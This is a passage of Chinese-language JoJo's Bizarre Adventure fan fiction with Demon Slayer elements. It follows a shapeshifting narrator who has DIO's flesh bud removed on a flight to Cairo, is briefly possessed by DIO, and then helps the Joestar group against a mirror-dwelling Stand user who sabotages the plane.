他的话突然停下了,因为他的视野中突然出现了一双脚。他很清楚脚的主人是谁。
他的嘴唇有些颤动,本来顺溜的话一时间吐出来结结巴巴的。“预计.......,他们预计明天中午就能到达开罗机场了。”
泰伦斯·T·达比的汇报良久都没得到回应,他不敢抬头,放轻了自己的呼吸声,只觉得时间像是被凝结了。
“达比。”
那声音是如此的平静,泰伦斯·T·达比却有一种暴风雨前的宁静的感觉。
他僵直着抬起了头,对上了DIO没含任何感情色彩的眼睛。
“达比。”DIO再次叫了他的名字。
“你说为什么灰塔怎么会是这么没用呢?他难道不知道我的身体还没能彻底融合吗?他怎么就轻飘飘说一声自己被乔斯达家发现就结束了呢?要知道他之前可是对我夸下海口说要直接歼灭乔斯达家族的?”
泰伦斯·T·达比不知道怎么回答,他能感觉DIO正处于一种暴怒的边缘。
“你们对我的忠心难道就是这么轻飘飘的东西吗?”DIO的手用一种缱绻的方式抚上了泰伦斯·T·达比的脖子,他感觉下一秒自己的脖子就会被轻易折断。
“不不不,DIO大人,我绝对忠诚于您。”他只觉脖子上的手指在他的皮肤里越陷越深,下一秒就要扎了进去,有一种血液流失的感觉。
“只要给我二十几天,我说不定就能将这具身体完全融合,可是明天?你告诉我乔瑟夫·乔斯达和空条承太郎明天就要来?这样的惊喜我可真是难以接受啊。”
泰伦斯·T·达比想要嚎叫,想要挣扎,但是却始终是无用功,他觉得自己的血液即将枯竭的时候,DIO又轻飘飘松开了手。
“哎,达↑比↓,我相信你的忠心了。不过,我需要的是更多,更多的血液。”DIO抚摸上自己脖子上的伤痕,鲜血充盈的感觉让他享受地眯着眼睛,他舔了舔嘴唇,“最好是替身使者的那种。”
他转过身,又看向房间里的众人,昏暗的灯光下看不出表情。“虽然灰塔确实很没用,但是他提醒了我一点,我派遣灰塔的时候只有各位在场,乔斯达家族的人究竟是怎么知道这回事并精准地将他赶下飞机了呢?”
“我可是最讨厌叛徒了。”
所以,果然还是奴仆更好用啊。DIO的眼神划过神色慌张的众人,又想起了自己那枚特殊的肉芽。
她可不会让自己失望啊。
我不知道我打晕一个人会产生这么多连锁反应,我只是站在厕所前,一时有些纠结。
“你还不去上厕所吗?老爷爷?”空条承太郎挡在过道,遮住了光。
54.再离职
啧,这话说的。
我只说带我来厕所,可没说要进去啊。
我看向现在显示无人的厕所。
飞机上的卫生间并不大,约莫能容纳两个成年人的样子,看起来还算干净。
不过虽然能容纳两个人但是不管怎么说两个人同时进去也太怪了。
总感觉如果被看到会传出什么不好的传闻啊,还会有那种无良的低俗标题来着。
六旬老头与不良在厕所......糟糕,不行,绝对不能再想下去了。
再说了,不管厕所看起来再怎么干净也不适合拔肉芽吧,总感觉一拔我的伤口就会遭到什么东西的感染。
可是还有三小时左右就要下飞机了,到开罗这个DIO的地盘我怕夜长梦多啊。
所以,果然还是去那里吧。
我趁着没人留意,小心撬开了货舱的门,然后对着冷着脸的空条承太郎,模仿着DIO的神态,露出了反派的笑,“过来吧,空条承太郎,否则,我可不能保证这架飞机旅客的安全。”
我的脚边移过了熟悉的细密的绿色触手,我抬脚迈去,装作没看见。
花京院典明合上了旁边座位上老者的护照,和乔瑟夫·乔斯达还有阿布德尔打个了颜色,阿布德尔心领神会,忙叫来想要去往机尾的空姐,问些不着边际的事情。
见这边拖住了,应该不会引起普通人的注意,花京院典明放下心来,与乔瑟夫·乔斯达一前一后向机尾走去。
“男人也要结伴上厕所吗?”一位女乘客看了一眼手上的杂志,摇了摇头,不再理会。
货舱内的情形却是截然不同。
空条承太郎沉着脸,看着那个之前威胁着他的老头仔仔细细看了客舱一圈,然后叹了口气。
“要做什么就快点说!”空条承太郎只想快点结束战斗,他还没看见这个老头的替身,不知道他有什么能力。
然而,就在他说完的下一秒,那个老头就动了起来,猛地一拳打向了他,嘴中小声喊着,“加倍之猩猩拳。”
什么东西?
不需要使用替身,空条承太郎就徒手接住了这力道虽大但是速度一般的拳头。
“老头,你是在搞笑吗?”空条承太郎的话传入我的耳朵,我不为所动。
我刚刚可是看过了,货舱里的东西还不少,要是打架打到了它们,我被索赔了怎么办?
我现在可还没有薪水,只是靠报销度日的可怜打工仔啊。
对战这种事情,走个过场就行了。
坚定着这种摸鱼的态度,我又打出了一记“加倍之猩猩拳”,嘴里不忘大喊“去死吧承太郎。”
拳头果不其然又被接住了。
空条承太郎甚至很不尊老爱幼地给我来上了一拳,我本能地快速躲过。
“竟然还在隐藏实力吗?”空条承太郎眯了眯眼,我暗道不好,不想白金之星欧拉的本能反应还是暴露了我。
空条承太郎警惕地环视着四周,似乎想找到什么隐藏的替身。
但真是遗憾,我可不是什么替身使者,我也只能故弄玄虚。
“可恶,乔斯达家的人还是这么谨慎,竟然识破了我的''加倍之猩猩拳''的奥秘,我的拳可是越打越快,等到我打到后面,你可是绝对接不住我的拳头哈哈哈哈。”
对面的空条承太郎的表情已经从警惕变得有些无语了,我总感觉再这么说下去我自己都能脚趾扣地了,这种降智杂鱼角色也太考验演技了。
“哼哼,还不相信吗?那就让你看看吧。”我特意加快了速度,以至比之前快一倍有余的速度靠近空条承太郎,挥出更快更重的拳头,同时在心中倒数。
3
2
1
刚刚一直偷偷在地上蔓延的法皇之绿的触手终于攀上了我的脚踝,我顺势被其抓住,吊起,然后发表着邪恶杂鱼的最后宣言。
“什么!我不敢相信,什么时候的事?”我适时做出惊讶脸,不动声色揪了揪自己的衣领。为了方便拔肉芽,我可特意变换了一件宽领口的衣服。
花京院典明的眼睛犀利了起来,他紧盯着老者锁骨处蠕动的肉芽,通过[法皇之绿]将老头捆着拖近,提醒着空条承太郎,“小心,承太郎,那是DIO的肉芽。”
“啊,我看到了。”空条承太郎身后的[白金之星]握着拳头,“欧拉欧拉欧拉”地打向了老头。显然,老头的身体并不强壮,[白金之星]直接几拳将其打昏。
此时,乔瑟夫·乔斯达也赶到了货舱,他看着没有受伤的承太郎和花京院,舒了一口气,“是DIO派来的替身使者吗?”
空条承太郎点了点头。
乔瑟夫·乔斯达面色凝重地盯着老头身上的肉芽,运转着波纹,腕上响起了轻微的电流声,“那就将它拔走吧,承太郎!”
我能感到花京院典明用[法皇之绿]将我平稳地放在了地上,空条承太郎和乔瑟夫·乔斯达走向前来。
我的肩膀被两只手狠狠摁住,宽松的衣服领子被向下拉着,有什么东西摸上了我的锁骨。
应该是白金之星吧?
我这么猜测着,依旧安静地装作昏迷。不知道是不是空条承太郎留手的缘故,白金之星的力道甚至不能使我昏迷。
该说不愧是苦命打工人的抗打击能力吗?无论是□□还是精神。
我默默吐槽,无视着体内鬼舞辻无惨的细胞的抗议,放松了对于肉芽的缓慢吞噬。
或许利用鬼舞辻无惨的细胞缓慢吞噬DIO肉芽也是个办法,但是夜长梦多,指不定生出什么变数。
之前吞噬着鬼舞辻无惨血肉造成的自我迷失阴影尤在,谁知道这回再吞噬肉芽会怎样,我可不是异食癖啊!
感受着白金之星已经捏住了肉芽,准备将其一鼓作气拔出,我抑制不住内心的狂喜。
终于,可以离职了吗!
一看就是反派还爱动手动脚的屑老板,一言不合就攻击我的同事,奇怪的穿衣风格和发型,如果干不好就要死的工作,还有甚至会寄生高中生的烂组织,终于,能够摆脱了吗?
DIO的肉芽开始攻击着空条承太郎,但是或许是由于已经拔过一次的缘故,承太郎的动作十分熟练,甚至完全避开了肉芽的攻击,便要将肉芽完全拔出。
一旁的乔瑟夫·乔斯达也已经做好了准备。我能感受到一种生命的能量被他集中在了手上。
太好了,看来很顺利就能离职了。我
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放松身体,感受着肉芽渐渐从我体内离开。
等等!
不对!
肉芽竟然会这么温顺地就离开我的体内,这完全不像它之前和鬼舞辻无惨细胞搏斗的样子。
如果说鬼舞辻无惨的细胞有着一种试图侵吞所有入侵我体内的异物的贪婪傲慢之心,那么DIO的肉芽也不逞多让,那种试图像寄生虫一样吸走我所有能量的阴险虚伪的生物,怎么会这么安分的出去。
就在那肉芽即将离开我身体的那一刻,我却感觉身体有着一瞬间的僵直。
难道我体内的肉芽不能直接被拔出!
我心脏猛地剧烈跳动了一下,只觉得忽然太阳穴直跳,体内简直像是有个活火山要爆发。
我直接睁开双眼,调动了体内所有的鬼舞辻无惨的细胞将DIO的肉芽咬下,试图按住白金之星的手,但是全然扑了个空。
只感觉手中的肉芽像是被某种不知名的力量拉扯着,空条承太郎咬紧了牙,加大了力气。
“停手!”身下的躯体发出了尖利的嘶吼,但是现在根本不可能停手。
顺着惯性,空条承太郎拔出了肉芽,扔向半空。乔瑟夫·乔斯达将带着波纹的手直接劈向肉芽,肉芽顷刻间化成灰烟。
但是在场的所有人都没能松下一口气。
原本躺着的老头倏忽站了起来,他的锁骨处,肉芽的根部还留在那里!
那个老头咬着牙,头上全是密密麻麻的冷汗,他背后一个诡异身影短暂显现了一下,却又马上消失,可是仅是短短一瞥,就足以让人毛骨悚然。
花京院典明倒吸了一口气,他看着这全然陌生的身影,眉头紧皱,忍不住开口。
“你--”
可是他的话却没法说完。
眼前的人脸抽搐了一阵,眼睛紧紧闭上,骨骼发出某种骇人的声音,像是破碎了又在重组,他头上、脸上的冷汗更多了,简直像淋了一场大雨似的。
“OH MY GOD!”乔瑟夫·乔斯达压低了声音,却仍然无法抑制惊恐。他能感觉,不,他们所有人都能感觉到,一种邪恶的气息突然出现。
而这气息的根源,绝对是--
“DIO!”
就在这一瞬间,对面的人已经睁开眼睛,之前看起来浑浊瞳孔变成了危险的金色,他张了张嘴,露出了一对尖牙。
“原来在这里。”
他摸了摸锁骨上只剩根部的肉芽,有些遗憾似得开口,“就差一点。”
没说完,那危险的令人胆颤的视线就移向了乔瑟夫·乔斯达。
“就从你开始吧,乔瑟夫·乔斯达。”
在他的背后,一个黄色的替身现出身型,在所有人都没反应过来的情况下已经站在了乔瑟夫·乔斯达的身边。
空条承太郎还站在离乔瑟夫·乔斯达两步远,原本离对面人很近的花京院典明的[法皇之绿]不知何时被击倒在地。赶来的阿布德尔也无法在飞机上放出他能使得飞机都融化的高温的替身。
邪恶的带着轻蔑的笑已经出现在了对面的人的脸上。
他已经开始下了死亡的审判。
“受死--”
而在此刻,异变突生。
55.秘术
黄色的人型替身的身影瞬间模糊然后彻底消散。
这发生的很快,或许仅在0.1秒内,花京院典明和空条承太郎就见证了他的消散。
替身的攻击戛然而止,他没有直接作用于乔瑟夫·乔斯达,只是带来的拳风很快,攻击的余波依旧作用到了乔瑟夫·乔斯达,使其闷哼一声,脸上流露出吃痛的表情,只是他很快摆手示意没事,将手指指向了对面。
所有人都下意识地看向了替身使者--那个疑似DIO上身的老头。
他的身体不自觉地痉挛着,眼睛紧闭,脸上流露出痛苦的神情,仿佛在短短的时间内与什么可怕的东西再进行着抗争。与此同时,他的形体产生了巨大的变化。原本花白的头发变为黑色的长发垂在锁骨前,身形像是抽条般拔高,原本尖利地像是吸血鬼般的牙齿收回,只露出因为痛苦咬牙露出的一侧虎牙。
花京院典明呼吸急促了一下,他虽然努力压抑着自己,但是还是忍不住惊呼出声,“你是月彦小姐!”
自从见到老人身后疑似替身的东西,花京院典明就有了这样的猜想,原本被异变打断的话终于顺利说出。
回应他的是刚刚张开的那双黑眸。
那像是宇宙中的黑洞,吞噬这光、情感、和一切秘密。如果说眼睛是心灵的窗户,那么在这么一瞬间,这双眼几乎叫人怀疑这座躯壳中不存在灵魂。
这种诡异的场景叫人想起了曾经出现在她背后的像是幽灵般的东西。
然而没等他们再继续观察下去,那双眼睛就像灵魂终于从黑洞中逃脱,流露出了星辰般的光彩。黑发女人一直紧咬着的唇松开了,眉头紧皱,咬牙切齿,“xxxxxxx!”
黑发女人说的是异乡的语言,虽然听不懂,但是从她的表情中能猜出她骂得极其脏。
“口他爹的DIO,口口口口口。”我用尽力气,说了点一些明显不符合文明发言的优美中国话,才感到自己好多了,内心的恐惧逐渐消散。
我以为因为鬼舞辻无惨血肉使自己失去自我已经是我没能完全克服的阴影,却没想到这回竟然连躯体都被他人占用。
虽然我是个唯物主义者,但我免不了产生出一种灵魂都被挤压甚至被放逐的恐惧。第一次没有肉ti的感觉就像在大街上裸奔,而肉ti还被强行占有的感觉就是在充满人大街上走着突然被扒光了衣服然后有人扛着摄像机来采访你一样。
鬼舞辻无惨仅是准备在我人生航行的船上做点手脚,而DIO是直接将我的小船给掀翻了。
没想到人生处处是阴影,凉快得过分。
骂爽了之后我叹了口气,看着花京院典明的表情,意识到自己应该没有再维持着变身的状态。我笑了下,算是打了个招呼,“哟,好久不见啊,花京院少年,今天也逃学了吗?”
或许是我这个开场白不够幽默,花京院典明勉强地抬了抬嘴角,眼神却十分警惕。
我环视四周,看了这一圈的替身使者,向前试探地踏了一步。
没人后退,只是空条承太郎紧紧地盯着我,将脚挪了一步,挡在了乔瑟夫·乔斯达的身前。
躯壳被占有后,我根本没有那个时间的记忆,但是通过刚刚的惊鸿一瞥发现乔瑟夫·乔斯达嘴角的血迹,我都能想象出他究竟干了什么。
口他爹的DIO!
望着警惕的众人,我幽幽叹出了口气--这回不会真的得当邪恶的伙伴了吧。
*
开罗公馆的椅子上,DIO睁开了眼睛,脸上带着不甘与愤恨。
“就差那么一点。”他的黑色指尖从自己的脖子上的伤口划向了自己的锁骨处,像是某种暧昧的暗示。
“现在只有四秒的时间吗?”DIO的像是自言自语一般低声喃喃着,将黑色的指尖戳进了锁骨下方的血肉里,有鲜血从伤口溢出,却又缓缓消失不见。等到他将指尖抬起时,锁骨处已然找不到受伤的痕迹。
他的灵魂能转移到那个名叫“月彦”的东方女人的身体里只能有4秒的时间,这和他的替身[世界]所能暂停时间一致,他有种莫名的直觉,只要他能将替身[世界]暂停的时间延长,他也必然能更长地呆在那个躯体内。
不过,本来就不应该这么麻烦的。
DIO的眼里闪过一丝狠厉,他的手向下,摸向已经昏迷卧倒在他腿边的某位替身使者,手指径直插入他的脖颈中。这似乎缓解了他的不满,嘴中也跳出了一声满足地喟叹,因为事物未能完美向着预期行使的一丝焦虑也烟消云散了。
自从那个名叫“月彦”的东方女人进入开罗,他就盯上了她。
同样邪恶的气息,虽然被压抑地很好,但是他还是能敏锐察觉出来。那种邪恶的感觉,绝对是犯下了这个世界普通人所不能忍受的罪行才会有的,作为黑暗世界的同类,他深深明白着这点。
而且她的肉ti,也给他一种莫名熟悉的感觉。虽然看她能在阳光下自由行走的样子绝不会是自己曾经转化的食人鬼。
但是,这样的人出现在他DIO面前,如果不为他DIO所有,那是根本无法忍受的事。
于是,他费尽心思将其收入囊中。而那个女人略有些小聪明的头脑和强健的体魄以及那无与伦比的隐秘气息的方式更是让他欣喜。
这样的肉ti,这样的邪恶气息,与他DIO是多么的契合。
他自然愿意让她签订一些别样的契约,作为他的“眼”可不是说说而已。就在她答应的那刻起,她就已经让渡了身体的使用权。而契约开启的条件就是--种植在她体内的肉芽被拔出。
像是嫌弃倒在自己大腿上已经干枯的身体碍事,DIO直接一手打飞他,又拿起了自己腿上的书。那张纯白塔罗牌作为书签被放在书里,他打开了书,指腹划过书页上的文字。
像是羊皮纸一样被装订的书籍上写着不可言说的邪恶之书,DIO看着限制条件,从嘴中缓缓叹出了一口气。这个古老的方式确实好用,只是条件也极其苛刻。
1.符合条件的肉ti 2.强韧的灵魂 3.对该肉ti强而有力的控制
他早就想好了,如果那个名叫月彦的女人在途中被人拔出了肉芽,他就能提前掌握一具肉ti,这样像是给自己找了一个保险,即使自己的身体真的泯灭,他也能通过另一种方式存活。
而如果那个名叫月彦的女人利用变性术混入了乔斯达家的队伍成功击杀了乔斯达家族或者一直带着肉芽存活也没有关系,他会将其好好地放在身边作为自己的贴身侍从,如果有需要,他会再拔出那个肉芽。
只要有了肉芽,她就是他的狂热信徒,对他忠心耿耿。而没有了肉芽,她也会是献上了肉ti与灵魂的奴仆。
这样不管作
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为一个远程打手,还是自己的保命之策,他都能榨干她的最后一丝价值。
“恩雅,你该派出他出去了,我已经掌握了空条承太郎他们的位置了。”舔了舔唇角,DIO看着一旁的老妪,笑得很是肆意。
恩雅并不理会脚下因为失血过多而形成的干尸,她看着苏醒的DIO,眼里有着狂热和一种激情。
她的眼光果然没有错,这个从海里被打捞出来的百年前的食人鬼,以他对于知识的狂热和强运的体质还有那种天生的首领气魄,他一定能成为这个世界的霸主!
“DIO大人放心,我的儿子一定能为您拿下胜利!”
最好是如此,Dio合上了书本,抚摸着封页。他灵魂离开了那具躯体,现在在肉芽的控制下,应该继续为他作战了吧。
*
被认为要大打特打的我此时陷入深思。
所以说,现在该怎么办?
很显然,货舱并不一个能久呆的地方。我摸了摸鼻子,有些纠结,毕竟这是我撬开的门,虽然我能确保没被人看见,但是要是空乘赶来肯定会惊讶到底发生了什么,到时候解释我怎么说也不可能不心虚。
“虽然你们不一定信,但我觉得我应该不是坏人。”我举起了双手,想着这样表示自己的无害。
但是刚刚DIO上身的举动显然造成了不小的冲击,花京院典明嘴巴努动了一下,似乎想说点什么,但是乔瑟夫·乔斯达抬起手打断了他。
“花京院,等等,我知道你想说什么,但是还需要再观察一下。”
乔瑟夫·乔斯达虽然约莫60岁左右,但是眼里依然带着一股狡黠,现在又更比年轻时增添了阅历带来的沉稳和谨慎。
显然,同乘一架飞机之前还故弄玄虚的我很不可信。尤其是之后在狭小的货舱内上演了“DIO上身”的戏码更是让我登上了黑名单。
她是真的被肉芽控制还是与DIO打的突袭配合战?再加上她背后那阴森可怕诡异的“替身”,谁敢相信她呢?
如果这条怀疑链继续下去,为她说话的花京院典明是否还在受着DIO的控制?
没有再想下去,乔瑟夫·乔斯达开始发问,“月彦小姐啊,一般来说坏人可是不会承认自己的坏人啊……”
看着乔瑟夫·乔斯达警惕地围着我打转,我点了点头,表示理解,只不过抬起头向着堵在货舱口的阿布德尔,“那么,阿布德尔先生能为我证明吗?我那天可是如约去面试了!结果发现你店里一片狼藉我还去帮你报警了,不管怎么说也不算是坏人吧。”
之前的那位可能的未来雇主占卜师看了看我,却也没放松警惕,他点了点自己的锁骨处,又看向我,“我之前不告而别是因为遭遇了DIO的袭击,感谢你的热心。但是很遗憾,我很难相信还在被DIO控制的人的话。”
不过他也能看出,造成DIO上身的原因跟拔出肉芽的动作相关。只是他还不敢打消怀疑。
看来糊弄是糊弄不过去啊,至少得交换一些真实的信息才行。现在躯体有被DIO抢占的风险,看来我必须要和眼前这群人合作。
“那就真心换真心吧,我先坦白一个秘密来换取你们的信任吧,我可不是替——。”
在他们紧盯着我的视线中,我忽然听见了什么,立马停下了嘴里的话,侧耳倾听。
那是什么?
56.待改
难道还有敌人?
空条承太郎和花京院典明警惕地盯着四周,【白金之星】那双堪比精密仪器的双眼也仔细查看着货舱内货物的情况,【法皇之绿】的触角像是树根一样攀至货舱的各个角落里,阿布德尔向客舱外探察,然后摇了摇头示意没有异样。
乔瑟夫·乔斯达看着同伴的反应,那双眸子中透出疑惑以及深深的警惕。
不要故弄玄虚了。
乔瑟夫·乔斯达的眼睛透露出这样的信息,但是从生死关头中得来的经验又叫他分外谨慎,对于这个诡异女人的表现,他既没有大声立马反驳,只是选择静静观察。
那确实有着值得观察的理由。
黑发女人的脸上带着一种全神贯注和机敏的神情,这与她刚才插科打诨的样子极不相称。她仿佛一只竖起耳朵的黑猫,面无表情地把控着她的王国的风吹草动。
可是她的王国有多广阔呢?
他们不知道。
只是,那张全神贯注的脸上带上了一丝凝重。只见黑发女人缓缓抬头,像是极其不解,“我没做过很多次飞机,所以想问一下,一般来说同一条航线上会有飞机从另一个方向过来吗?”
什么?虽然少见,但是在航线紧张而航班班次多时或许也会有这种情况。
但是她为什么要问这个?
“什么,承太郎,难道飞机要撞上了?”乔瑟夫·乔斯达瞪大了双眼,猛地看向了将白金之星派出货舱去窗边查看的空条承太郎。
然而,此时正是处于云间,白金之星的如同望远镜一般远程的视野并没有发现异样。
空条承太郎向乔瑟夫·乔斯达摇了摇头,冷酷的眼神又放在了那个黑发女人身上。
乔瑟夫·乔斯达猛地松了一口气,作为一个经常在交通工具出现事故的倒霉蛋,他根本不想再发生飞机事故了。
他的视线转移到黑发女人的身上,眉头紧皱。难道她在拖延什么时间吗?
天地良心,我不是,但是DIO留给我的烂摊子让我无法自证。
只是比起自证显然有更紧急的事情。如果我的感觉没错,似乎,有替身使者,在这万丈高空向这里靠近。
“不好意思,乔斯达先生,能请你回答我一个问题吗?”
没有等乔瑟夫·乔斯达接话,我就继续问了下去,“两架相向而行的飞机,有什么办法能使替身使者从一架飞机迅速转移到另一架呢?”
就在我说话的当口,我能感受到一架飞机似乎已经飞到了这家飞机的上面,而那个替身使者的气息,就在一瞬间,发生了转移!
“小心,我能感觉有新的替身使者登上了这家飞机!”我疾呼着,环视四周,试图找出替身使者在哪里。
这样的不速之客一看就是DIO的手下,虽然不清楚这么快的转移速度,他究竟是怎么做到的,但是唯有一点我能确定—DIO绝对会让他去用尽一切手段阻止空条承太郎他们前行。
而狭小的飞机怎么战斗,只怕最后城门失火殃及池鱼,这座飞机上的无辜旅客和我都会受到牵连。
然而,我所做的似乎成了闹剧。
纵使我现在万分激动,希望空条承太郎和花京院典明他们能快速找出飞机上新出现的替身使者,但显然我的希望落空了。
就连守着门口的阿布德尔脸上都浮现了微妙的神情,“不管怎么说,你还是别开玩笑了月彦小姐,再怎样的替身使者也不会凭空出现在万里高空的,这样拖延时间的方法实在是……”
空条承太郎也压低了帽子,向我的方向踏了一步,似乎害怕我的逃跑或者突然失控。
花京院典明与我对视了一眼,又收回了视线,【法皇之绿】的触手似乎蔓延到了别处。
嘛。
虽然能理解我个人还是带着“嫌疑”的,就连那个半拔的肉芽都显然充满风险,但我依旧觉得有点心累。
尤其是背了偌大一个不属于自己的黑锅,而且还是帮想要强占我肉ti的屑上司背的。
此时再怎么辩解也显得苍白无力,只像是某种可怜的垂死挣扎。
我实在忍不住叹口气,难以舒展眉头。
看着不知道从何处找来了捆绑的绳索的乔瑟夫·乔斯达,我显得格外老实,甚至远远地主动并起双手配合。
这当然不是因为我抖m,只是狭小飞机并不适合打斗,不如先假意顺从待会再自行行动解决什么。争斗只会浪费无意义的时间。
可是,就在乔瑟夫点·乔斯达准备上前给我套绳索时,我们所有人都听见了花京院典明吃痛的声音,他穿着绿色学生制度的肩膀上渗出了血迹。【法皇之绿】摔在货舱门口。
也就在此时,众人才留意到【法皇之绿】不知何时潜出了货舱。
然后一声破碎的声
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音从厕所传来。
那好像是什么破碎的声音,如果来源没猜错了话,是一
“厕所发生了什么?”里货舱门口最近的阿布德尔准备上前查看状况,却被花京院典明立马拦下。
“不要过去,阿布德尔先生。月彦小姐说的对,我刚刚让法皇之绿在机舱中侦查,我看见了,厕所里存在着替身使者!”
这个消息简直当头棒喝,像是响雷劈在了货舱内。除了花京院典明外的人都不约而同看向了我,表情十分复杂。
现在并不是得说什么的时候,我只是向他们点了点头,再透过被撬开的货舱门远眺,看到了地上的玻璃碎片。
这个材质了话,应当是厕所镜子的碎片,但是,厕所镜子是如何破碎的呢?
我看向花京院典明,他立马补充,“我在厕所的镜子中发现有个像是木乃伊一样的替身在攻击我,可是等我转过身又再也发现不了他的踪迹,但奇怪的是,我确信我没在身后看到他,但是我身上仍然出现了伤口。”
我的眼睛再次移到花京院典明的肩膀处,应该是他本能地反应救了他,他的伤口并没有伤到要害,因此整个人只是脸色稍白,面上却还是沉着冷静。
虽然花京院典明提供的信息宝贵,但是,只有这点进行推测显然不够。
这时乘务人员打开了飞机前舱的门,准备查看之前那声破碎声的来源。
那么货舱显然也不能呆下去,否则根本无法解释和遮掩。在有一个神出鬼没的替身使者目前,花费在交涉上的时间都可能会危及生命。
可是如果去客舱里,那么多的普通人暴露在一看就极具攻击性的替身使者面前也是十分危险的。
更重要的是,他们只看到了替身,没有人知道替身的能力,也没有人知道替身使者在哪里。
我们对视一眼,明明没有合作过,此时却有一种莫名的默契。
“月彦小姐麻烦你和阿布德尔一起去劝导普通人别过来,花京院你跟我们一起呆在货舱。如果是DIO派来的替身使者,他绝不会错过我和空条承太郎。”
我没有异议,瞬间再变为了头发苍白的老头,与阿布德尔一起走了出去。
在踏过镜子碎片时,我小心抬脚过去,低头一看,碎片中似乎有着什么。
那是,看起来像是木乃伊一样的东西!这么说,那就是新的替身使者的替身?!
57.坠机
“在这里!”
听见女人的声音,众人立马抬头看过去,厕所门前的玻璃碎片处空无一物。
空条承太郎似乎看见了有什么像是激光的东西射入镜中,但是,下一秒,却难以捕捉他的踪迹。
乔瑟夫·乔斯达没有说话,只是小心地上前了几步,走到了镜子碎片前。
“[紫色隐者]!”乔瑟夫·乔斯达喊出了自己的替身的名字,手臂上紫色藤蔓的精神体蜿蜒向前,藤蔓的尖端小心地靠近着玻璃碎片。
即使乔瑟夫·乔斯达放轻了呼吸,将藤蔓尖端移到了镜子碎片的上方,但是,没有什么发生。他看向那个不知何时已经幻化成了一个面色惨白的黑发男人的“月彦”,见其坚定地点头,便也没说什么,继续观察和试探。
他再一步上前去,[紫色隐者]开始将一片片的玻璃碎片上移动,像是一只挑选着自助甜品的食客,是这个,还是那个呢?
乔瑟夫·乔斯达与“月彦”对视着,在她点头之际狠狠掀翻了一片镜子碎片--就是这个!那个替身使者,就在这里!
虽然暂时不知道其原理,但是乔瑟夫·乔斯达本能地选择了将这不祥的镜子碎片翻面。
就在镜子碎片直立起的那一刻,小小的碎片中映出了乔瑟夫·乔斯达和一个绑着绷带的木乃伊的身影。就在这小小的镜中,就在这碎片还没掀过去的那一刻,镜中的木乃伊已经抽出手腕处的匕首刺向了乔瑟夫·乔斯达。
但是,有人的反应更快。
乔瑟夫·乔斯达还没回神的功夫,就已经被提着后襟拎到了镜子不能找到的地方。
与此同时,花京院典明也在镜子碎片的铝膜面方向用[法皇之绿]将镜子狠狠掀了过去。镜子碎片掀翻在地面,一时没有任何响动。
但是没有人能放松警惕,这就像什么一个不能被打开的潘多拉魔盒。
空条承太郎向前一步,[白金之星]也随之靠近了那被掀了过去的镜子。
他们现在已经能确定,这架飞机上绝对有新的替身使者。那么,那个黑发女人说的话应当是可信的。
而且,就那个女人刚刚所展现出来的那种惊人的速度,即使是[白金之星]也很难做到,更别说她是纯靠肉身了。
这样的话,她刚刚选择用话而不是武力来解释比起拖延时间,更像是释放着一种友好信号。
我看着空条承太郎盯着我,便也看了回去,顺便松开了抓着乔瑟夫·乔斯达后襟的手。
话说我这个拎人后襟都是习惯性的行为,全靠大力和速度,根本不管手下的人身高死活。
所以见到被我拎着拖行的乔瑟夫·乔斯达还一屁股坐在地上,惊魂未定,不知道是被突袭还是被突然拎走吓得。
我有点尴尬,看着空条承太郎和转头看向我一直保持奇怪微笑的花京院典明,干笑了两声,环抱双手。
“这得快点处理吧。”
看着曾在西餐厅见过的熟悉面孔,听着那镇定的低沉男声,空条承太郎“呀嘞呀嘞”了两声,压低了帽子,转头向乔瑟夫·乔斯达看了过去。
“这是什么类型的替身呢?老头,你刚刚看见了那个替身的影像吧。”乔瑟夫·乔斯达惊从地上爬了起来,拍了拍自己的裤子,喘了口气。
“呼,那家伙就是花京院描述的样子,绑着绷带就像木乃伊,而且手腕上绑着匕首。更奇特的是他的两只手都是右手。”
听见乔瑟夫·乔斯达,在货舱内的人都下意识地看向了自己的右手,似乎思考着什么。
“不过,我看他的行动方式似乎是在镜子中移动,他刚刚应该是从其他的地方再移动到镜子碎片的,这是靠什么呢?”我放下了自己的右手,又望向了一动不动地被掀过去的镜子。
“或许不是在镜中移动移动,而是靠着光的反射?”花京院典明从口袋里拿出了一个干净的手帕,望着我们。
“你说的或许是对的,花京院,如果能在镜中移动了话,他现在应该没有那么安分才对。”乔瑟夫·乔斯达点了点头,只是他总觉得自己忽视了什么。
花京院典明便继续上前一步,先是移开了其它的镜子碎片,再将手帕小心地放在了那块木乃伊似的替身存在的镜子碎片上,才将手帕塞进了镜子碎片的下面,确保没有任何的能反射光线的东西出现在那块镜子前。
花京院典明用手帕将镜子碎片小心地裹好,甚至打了个漂亮的结,放在手上。
被包裹着镜子碎片没有任何动静。
看来,现在只要去找那个放出替身的替身使者就行了。现在可是万米的高空,这个替身的射程不可能那么远,能影响天上的飞机。由此可以推测,这个替身使者应该就在这个飞机上。
花
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京院典明和空条承太郎对视一眼,默契去找起了替身使者。
作为一个伪装的替身使者,这些他们眼中的常识根本没人告诉我,所以我也只是看着他俩行动,一时间还不知道做点什么。
既然已经短暂洗清了嫌疑,又抓到了替身应该就没事了吧,我要不休息会呢,什么时候发航空餐来着?
我漫无目的地想着,正准备重新变换成刚刚顶替的老人的形象去坐等航空餐,却看见乔瑟夫·乔斯达变得有些苍白的面孔。
“等等,你说他刚刚从别的地方射入这个玻璃碎片的!”乔瑟夫·乔斯达发现了刚刚被他忽视的地方,一时间脸色煞白。
如果按照攻击花京院典明,攻击他这个顺序了话,这个替身特意移动到别的地方却不为攻击他们,肯定还做了什么!
我也顿时明白了问题所在,DIO派来的替身使者的目的肯定都是以击杀或者拦下乔斯达家族的人靠近DIO,那是什么会使他在短暂的作战关头选择离开呢?
客舱处传来惊恐的尖叫,我和乔瑟夫·乔斯达忙走出货舱,就看见机舱前端驾驶室的门被打开,空条承太郎和花京院典明脸色难看地站在一旁,我的鼻子间传来浓重的血腥味。
应该是没救了,穿过尖叫的乘客和努力维持秩序的空姐,我们看着一片血腥的驾驶室,一时无言。
驾驶室的控制按钮像被匕首一样的什么东西划过,看起来并不能再使用。飞机的方向像是失控了,遇到了气流整个机身颠簸不已,阿布德尔在后面的机舱都要被慌乱的乘客挤扁了。
而整个飞机,几乎就是在这颠簸中急速降落,所有人都有一种失重感,这简直就像是在游乐场做跳楼机一样,但是掉下去就完了的那种。
花京院典明和空条承太郎移开了在座位上的两具尸体,乔瑟夫·乔斯达向前,坐在了椅子上,开始操作着各类的按钮和控制器。
“乔斯达先生,您会驾驶吗?”我心中暗暗祈祷。
乔瑟夫·乔斯达手继续操作着,却苦笑了几声,“放心吧,我可开过直升飞机。”
